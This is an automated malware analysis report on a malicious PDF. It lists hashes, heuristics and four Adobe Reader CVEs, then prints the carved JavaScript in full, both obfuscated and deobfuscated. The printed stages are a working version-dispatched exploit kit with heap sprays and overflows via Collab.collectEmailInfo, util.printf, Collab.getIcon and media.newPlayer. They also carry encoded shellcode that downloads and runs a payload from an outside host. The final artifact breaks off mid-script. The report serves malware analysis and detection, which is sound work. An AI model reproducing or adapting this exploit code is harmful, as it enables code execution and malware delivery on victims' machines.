Malicious PDF — malware analysis report

Static analysis result for SHA-256 3caed70a9bc0e39a…

MALICIOUS

PDF

12.2 KB First seen: 2013-07-25
MD5: dd776f8238d9d1cc6d3aa53cf984ea4b SHA-1: f627c26072783f48cc0b6f17e4678b846a0e663b SHA-256: 3caed70a9bc0e39aca1c011a9a633353e44a17cfd6bdd1a8f3f29ebe4a70ef07
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it attempts to download a second-stage payload from the URL http://aefqkkjamcp.com/w.php?f=26&e=5. This pattern is consistent with exploit kits designed to deliver further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://aefqkkjamcp.com/w.php?f=26&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11374 bytes
SHA-256: 1613e3b4cabb2596d52ca10b923371e0ed449e642d64db9b131d0d4948d501ae
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(46,20,36,12,36,11,70,11,7,7,75,63,64,50,4,11,15,16,52,47,6,6,15,16,20,53,12,42,15,16,52,44,20,53,15,16,43,44,12,42,15,16,12,61,47,42,15,16,47,47,44,20,15,16,6,42,53,9,15,16,42,9,52,75,15,16,52,75,47,9,15,16,9,53,42,9,15,16,43,9,52,75,15,16,44,6,70,53,15,16,43,6,52,75,15,16,47,47,9,52,15,16,6,6,5,75,15,16,44,12,52,75,15,16,9,47,47,53,15,16,47,47,43,42,15,16,52,70,58,53,15,16,70,44,12,12,15,16,20,20,70,9,15,16,75,52,20,20,15,16,42,9,52,75,15,16,53,47,47,9,15,16,47,61,42,6,15,16,43,44,9,6,15,16,52,43,20,75,15,16,58,42,47,42,15,16,12,42,52,44,15,16,44,70,43,44,15,16,12,75,12,61,15,16,44,70,42,53,15,16,52,75,44,6,15,16,47,53,43,44,15,16,43,42,52,75,15,16,43,52,47,44,15,16,20,44,9,47,15,16,52,75,44,6,15,16,58,9,43,6,15,16,20,44,9,47,15,16,53,61,47,47,15,16,42,70,42,61,15,16,54,5,20,53,15,16,53,44,9,47,15,16,5,75,47,47,15,16,75,12,9,20,15,16,47,52,70,9,15,16,43,42,20,58,15,16,53,70,9,52,15,16,9,5,53,75,15,16,5,54,9,47,15,16,12,75,42,9,15,16,47,75,20,70,15,16,43,44,70,20,15,16,44,12,12,6,15,16,44,12,52,75,15,16,9,47,58,42,15,16,6,6,5,5,15,16,9,53,52,75,15,16,52,5,42,75,15,16,12,53,42,6,15,16,44,42,20,20,15,16,9,53,58,42,15,16,5,52,52,75,15,16,5,5,9,47,15,16,9,42,52,75,15,16,9,47,52,75,15,16,54,75,53,44,15,16,44,61,44,12,15,16,12,75,53,47,15,16,54,5,44,47,15,16,6,52,52,75,15,16,52,9,58,9,15,16,9,53,43,5,15,16,43,42,47,47,15,16,61,6,9,47,15,16,20,47,12,75,15,16,6,52,52,75,15,16,52,75,9,52,15,16,6,54,20,43,15,16,44,61,9,44,15,16,61,52,12,52,15,16,20,20,20,20,15,16,12,58,20,20,15,16,12,52,20,61,15,16,9,9,9,9,15,16,9,9,9,9,15,16,44,9,44,52,15,16,42,9,6,54,15,16,20,20,6,52,15,16,9,9,9,9,15,16,44,9,9,9,15,16,53,9,52,47,15,16,44,9,70,61,15,16,52,75,44,44,15,16,52,75,12,53,15,16,70,9,44,12,15,16,53,47,52,47,15,16,20,20,9,44,15,16,6,52,12,47,15,16,6,12,6,20,15,16,9,9,9,9,15,16,43,44,6,52,15,16,6,53,43,58,15,16,44,42,6,5,15,16,70,6,20,20,15,16,53,42,52,47,15,16,52,75,9,52,15,16,12,52,12,52,15,16,20,20,6,70,15,16,20,20,20,20,15,16,9,58,12,75,15,16,43,58,12,75,15,16,12,53,52,70,15,16,9,70,9,42,15,16,9,9,9,9,15,16,44,53,52,5,15,16,9,53,58,42,15,16,9,42,53,43,15,16,43,58,58,42,15,16,6,43,6,44,15,16,53,43,43,47,15,16,58,42,42,42,15,16,43,6,9,42,15,16,47,47,43,58,15,16,53,43,47,58,15,16,58,42,42,42,15,16,58,9,9,52,15,16,43,47,58,5,15,16,44,47,58,9,15,16,20,52,6,52,15,16,9,9,9,9,15,16,20,20,9,9,15,16,9,53,44,6,15,16,12,52,52,75,15,16,53,61,47,47,15,16,53,43,44,70,15,16,70,5,42,42,15,16,43,43,9,9,15,16,6,58,43,9,15,16,53,43,43,42,15,16,70,5,42,42,15,16,58,12,9,44,15,16,6,53,6,42,15,16,53,6,6,53,15,16,70,5,42,42,15,16,9,9,9,61,15,16,52,54,44,61,15,16,9,42,53,70,15,16,52,52,47,9,15,16,70,5,42,42,15,16,42,70,9,42,15,16,6,54,44,70,15,16,6,54,9,9,15,16,44,47,9,9,15,16,6,54,44,43,15,16,20,20,9,9,15,16,70,42,44,6,15,16,53,9,52,44,15,16,70,6,43,44,15,16,9,9,6,54,15,16,20,20,44,47,15,16,9,42,44,6,15,16,9,9,6,54,15,16,12,75,52,47,15,16,44,47,9,53,15,16,44,6,20,20,15,16,52,47,9,42,15,16,9,53,53,47,15,16,9,58,12,75,15,16,70,47,12,75,15,16,52,9,42,43,15,16,9,9,47,20,15,16,20,54,43,44,15,16,52,9,42,43,15,16,9,9,47,20,15,16,53,42,43,44,15,16,9,9,6,54,15,16,20,12,6,54,15,16,44,6,20,20,15,16,12,52,9,52,15,16,20,12,61,53,15,16,20,20,20,20,15,16,42,12,52,12,15,16,12,53,9,12,15,16,20,12,61,52,15,16,9,12,52,54,15,16,6,20,52,61,15,16,75,5,9,70,15,16,53,54,47,47,15,16,44,75,52,54,15,16,53,6,70,75,15,16,43,61,42,6,15,16,70,54,47,6,15,16,43,9,58,20,15,16,43,42,6,52,15,16,43,9,43,42,15,16,58,20,47,54,15,16,6,70,58,20,15,16,6,6,6,44,15,16,6,75,43,70,15,16,6,54,6,75,15,16,6,5,6,70,15,16,43,9,6,47,15,16,6,47,58,12,15,16,6,5,6,20,15,16,43,43,58,20,15,16,43,9,58,12,15,16,43,9,6,52,15,16,6,6,47,20,15,16,47,58,47,5,15,16,58,6,47,6,15,16,47,5,6,44,15,16,9,9,47,44,15,16,9,9,9,9,11,25,20,16,34,53,8,46,13,34,3,12,18,66,37,36,37,54,74,22,72,7,56,67,73,46,0,12,36,37,54,45,0,12,34,50,8,73,68,58,39,22,72,7,56,37,54,62,4,37,54,25,10,37,54,4,37,54,45,64,16,75,64,8,37,46,34,50,36,9,74,22,72,48,58,7,25,37,12,8,16,37,34,3,37,54,25,10,3,20,16,34,53,8,46,13,34,3,75,59,36,7,56,66,54,37,3,5,21,50,4,34,12,67,3,60,37,37,54,72,36,7,25,66,54,37,3,66,67,4,9,59,9,53,9,53,9,53,9,53,25,66,54,37,3,54,5,5,37,4,9,59,42,9,9,9,9,9,25,66,54,37,3,40,54,72,0,13,54,5,4,16,34,12,64,53,54,40,12,36,75,63,64,50,7,25,66,54,37,3,64,53,69,0,12,34,4,40,54,72,0,13,54,5,45,0,12,34,50,8,73,68,58,25,66,54,37,3,22,72,4,54,5,5,37,14,36,64,53,69,0,12,34,62,9,59,47,52,7,25,66,54,37,3,72,54,37,64,40,4,16,34,12,64,53,54,40,12,36,30,15,16,61,9,61,9,15,16,61,9,61,9,30,7,25,72,54,37,64,40,4,12,18,66,37,36,72,54,37,64,40,74,22,72,7,25,66,54,37,3,53,13,16,34,8,58,4,36,66,67,14,9,59,42,9,9,9,9,9,7,48,54,5,5,37,25,20,13,37,36,66,54,37,3,53,13,16,34,8,4,9,25,53,13,16,34,8,39,53,13,16,34,8,58,25,53,13,16,34,8,62,62,7,56,5,21,50,38,53,13,16,34,8,24,4,72,54,37,64,40,62,40,54,72,0,13,54,5,25,10,3,66,54,37,3,13,66,12,37,20,0,13,67,4,16,34,12,64,53,54,40,12,36,30,15,16,9,53,9,53,15,16,9,53,9,53,30,7,25,67,73,46,0,12,36,13,66,12,37,20,0,13,67,45,0,12,34,50,8,73,39,42,42,61,44,58,7,56,13,66,12,37,20,0,13,67,62,4,13,66,12,37,20,0,13,67,25,10,3,8,73,46,64,45,53,13,0,0,54,75,71,8,13,37,12,4,31,13,0,0,54,75,45,53,13,0,0,12,53,8,26,57,54,46,0,65,34,20,13,36,56,64,16,75,63,17,30,30,74,57,64,50,17,13,66,12,37,20,0,13,67,10,7,25,10,3,20,16,34,53,8,46,13,34,3,40,37,46,34,8,20,36,7,56,34,13,40,4,16,34,12,64,53,54,40,12,36,30,15,16,9,60,9,60,15,16,9,60,9,60,15,16,9,60,9,60,15,16,9,60,9,60,30,7,25,66,54,37,3,40,54,72,0,13,54,5,4,16,34,12,64,53,54,40,12,36,75,63,64,50,7,25,73,12,54,40,75,0,13,53,21,4,34,13,40,62,40,54,72,0,13,54,5,25,75,46,50,75,0,13,53,21,4,16,34,12,64,53,54,40,12,36,30,15,16,9,60,9,60,15,16,9,60,9,60,30,7,25,73,12,54,5,12,37,64,46,18,12,4,58,9,25,64,40,37,54,72,4,73,12,54,5,12,37,64,46,18,12,62,73,12,54,40,75,0,13,53,21,45,0,12,34,50,8,73,25,67,73,46,0,12,36,75,46,50,75,0,13,53,21,45,0,12,34,50,8,73,39,64,40,37,54,72,7,56,75,46,50,75,0,13,53,21,62,4,75,46,50,75,0,13,53,21,25,10,3,20,46,0,0,75,0,13,53,21,4,75,46,50,75,0,13,53,21,45,64,16,75,64,8,37,46,34,50,36,9,74,64,40,37,54,72,7,25,75,0,13,53,21,4,75,46,50,75,0,13,53,21,45,64,16,75,64,8,37,46,34,50,36,9,74,75,46,50,75,0,13,53,21,45,0,12,34,50,8,73,14,64,40,37,54,72,7,25,67,73,46,0,12,36,75,0,13,53,21,45,0,12,34,50,8,73,62,64,40,37,54,72,39,9,59,42,9,9,9,9,7,56,75,0,13,53,21,4,75,0,13,53,21,62,75,0,13,53,21,62,20,46,0,0,75,0,13,53,21,25,10,3,57,12,57,4,34,12,67,3,60,37,37,54,72,36,7,25,20,13,37,36,46,4,9,25,46,39,70,42,9,9,25,46,62,62,7,56,57,12,57,38,46,24,4,75,0,13,53,21,62,73,12,54,40,75,0,13,53,21,25,10,3,66,54,37,3,34,16,57,4,70,58,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,25,16,8,46,0,45,40,37,46,34,8,20,36,30,15,42,44,9,9,9,20,30,74,34,16,57,7,25,10,3,20,16,34,53,8,46,13,34,3,50,12,8,46,53,13,34,36,7,56,66,54,37,3,54,37,37,72,4,34,12,67,3,60,37,37,54,72,36,7,25,46,20,36,54,40,40,45,5,13,53,45,31,13,0,0,54,75,45,50,12,8,65,53,13,34,7,56,66,54,37,3,40,54,72,0,13,54,5,4,16,34,12,64,53,54,40,12,36,75,63,64,50,7,25,66,54,37,3,73,1,22,44,9,9,31,19,4,40,54,72,0,13,54,5,45,0,12,34,50,8,73,68,58,25,66,54,37,3,22,72,4,9,59,42,9,9,9,9,9,14,36,73,1,22,44,9,9,31,19,62,9,59,47,52,7,25,66,54,37,3,72,54,37,64,40,4,16,34,12,64,53,54,40,12,36,30,15,16,61,9,61,9,15,16,61,9,61,9,30,7,25,72,54,37,64,40,4,12,18,66,37,36,72,54,37,64,40,74,22,72,7,25,66,54,37,3,40,44,60,63,32,6,44,20,4,36,9,59,9,53,9,53,9,53,9,53,14,9,59,42,9,9,9,9,9,7,48,9,59,42,9,9,9,9,9,25,20,13,37,36,66,54,37,3,66,22,53,41,23,61,6,72,4,9,25,66,22,53,41,23,61,6,72,39,40,44,60,63,32,6,44,20,25,66,22,53,41,23,61,6,72,62,62,7,56,54,37,37,72,38,66,22,53,41,23,61,6,72,24,4,72,54,37,64,40,62,40,54,72,0,13,54,5,25,10,3,66,54,37,3,8,2,55,73,19,75,29,67,4,16,34,12,64,53,54,40,12,36,30,15,9,61,30,7,25,67,73,46,0,12,36,8,2,55,73,19,75,29,67,45,0,12,34,50,8,73,39,9,59,42,9,9,9,7,56,8,2,55,73,19,75,29,67,62,4,8,2,55,73,19,75,29,67,25,10,3,8,2,55,73,19,75,29,67,4,30,19,45,30,62,8,2,55,73,19,75,29,67,25,54,40,40,45,5,13,53,45,31,13,0,0,54,75,45,50,12,8,65,53,13,34,36,8,2,55,73,19,75,29,67,7,25,10,10,3,54,35,0,16,50,46,34,64,4,54,40,40,45,40,0,16,50,65,34,64,25,66,54,37,3,64,66,4,40,54,37,64,12,65,34,8,36,54,40,40,45,66,46,12,67,12,37,28,12,37,64,46,13,34,45,8,13,71,8,37,46,34,50,36,7,45,53,73,54,37,60,8,36,9,7,7,25,20,13,37,36,66,54,37,3,46,4,9,25,46,39,54,35,0,16,50,46,34,64,45,0,12,34,50,8,73,25,46,62,62,7,56,46,20,36,54,35,0,16,50,46,34,64,38,46,24,45,34,54,57,12,4,4,11,26,71,53,37,46,40,8,11,7,56,66,54,37,3,0,66,4,54,35,0,16,50,46,34,64,38,46,24,45,66,12,37,64,46,13,34,25,10,10,3,46,20,36,36,0,66,4,4,61,7,51,51,36,36,64,66,4,4,52,7,49,49,36,0,66,39,4,52,45,70,58,7,7,7,56,50,12,8,46,53,13,34,36,7,25,10,12,0,64,12,3,46,20,36,0,66,4,4,43,45,70,7,56,40,37,46,34,8,20,36,7,25,10,12,0,64,12,3,46,20,36,36,36,64,66,4,4,6,7,51,51,36,64,66,4,4,43,7,7,49,49,36,0,66,39,43,45,70,70,7,7,56,75,59,36,7,25,10,12,0,64,12,3,46,20,36,36,0,66,27,4,61,45,70,7,51,51,36,0,66,39,4,61,45,58,7,51,51,36,0,66,27,4,52,45,70,47,7,51,51,36,0,66,39,4,52,45,70,43,7,7,56,20,16,34,53,8,46,13,34,3,54,36,7,56,16,8,46,0,45,40,37,46,34,8,5,36,11,40,33,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,3,17,3,72,72,72,72,70,70,70,11,74,34,12,67,3,23,54,8,12,36,7,7,25,10,66,54,37,3,73,4,54,40,40,45,40,0,16,50,65,34,64,25,20,13,37,36,66,54,37,3,20,4,9,25,20,39,73,45,0,12,34,50,8,73,25,20,62,62,7,56,46,20,36,73,38,20,24,45,34,54,57,12,4,4,11,26,71,53,37,46,40,8,11,7,56,66,54,37,3,46,4,73,38,20,24,45,66,12,37,64,46,13,34,25,10,10,3,46,20,36,36,46,27,52,45,70,58,7,49,49,36,46,39,52,45,58,7,7,56,53,4,34,12,67,3,60,37,37,54,72,36,7,25,66,54,37,3,5,4,16,34,12,64,53,54,40,12,36,11,15,16,61,9,61,9,15,16,61,9,61,9,11,7,25,66,54,37,3,12,4,16,34,12,64,53,54,40,12,36,75,63,64,50,7,25,67,73,46,0,12,36,5,45,0,12,34,50,8,73,39,4,9,59,52,9,9,9,7,56,5,62,4,5,25,10,5,4,5,45,64,16,75,64,8,37,36,9,74,9,59,52,9,9,9,14,12,45,0,12,34,50,8,73,7,25,20,13,37,36,20,4,9,25,20,39,58,61,9,9,25,20,62,62,7,56,53,38,20,24,4,5,62,12,25,10,54,36,7,25,54,36,7,25,8,37,72,56,8,73,46,64,45,57,12,5,46,54,45,34,12,67,35,0,54,72,12,37,36,34,16,0,0,7,25,10,53,54,8,53,73,36,12,7,56,10,54,36,7,25,10,10);
a=new String("lWU =d6)t0}'eo-%u:zNfkqD];E>VG'CK@nP(r[<pQ475.i3/&g|8caM{m2xA9+jsIvw*_1Syh,b");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3864 bytes
SHA-256: 28da7c0099102c552b05436c0795da9ac7f2138eaa001b2f0f1e0a736fcf18a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6665%u6b71%u6a6b%u6d61%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3860 bytes
SHA-256: 1adc3e99d1ce32396b8ec793ccad2bf87c3084ba8732d660f68b538c8876ec7a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6665%u6b71%u6a6b%u6d61%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var 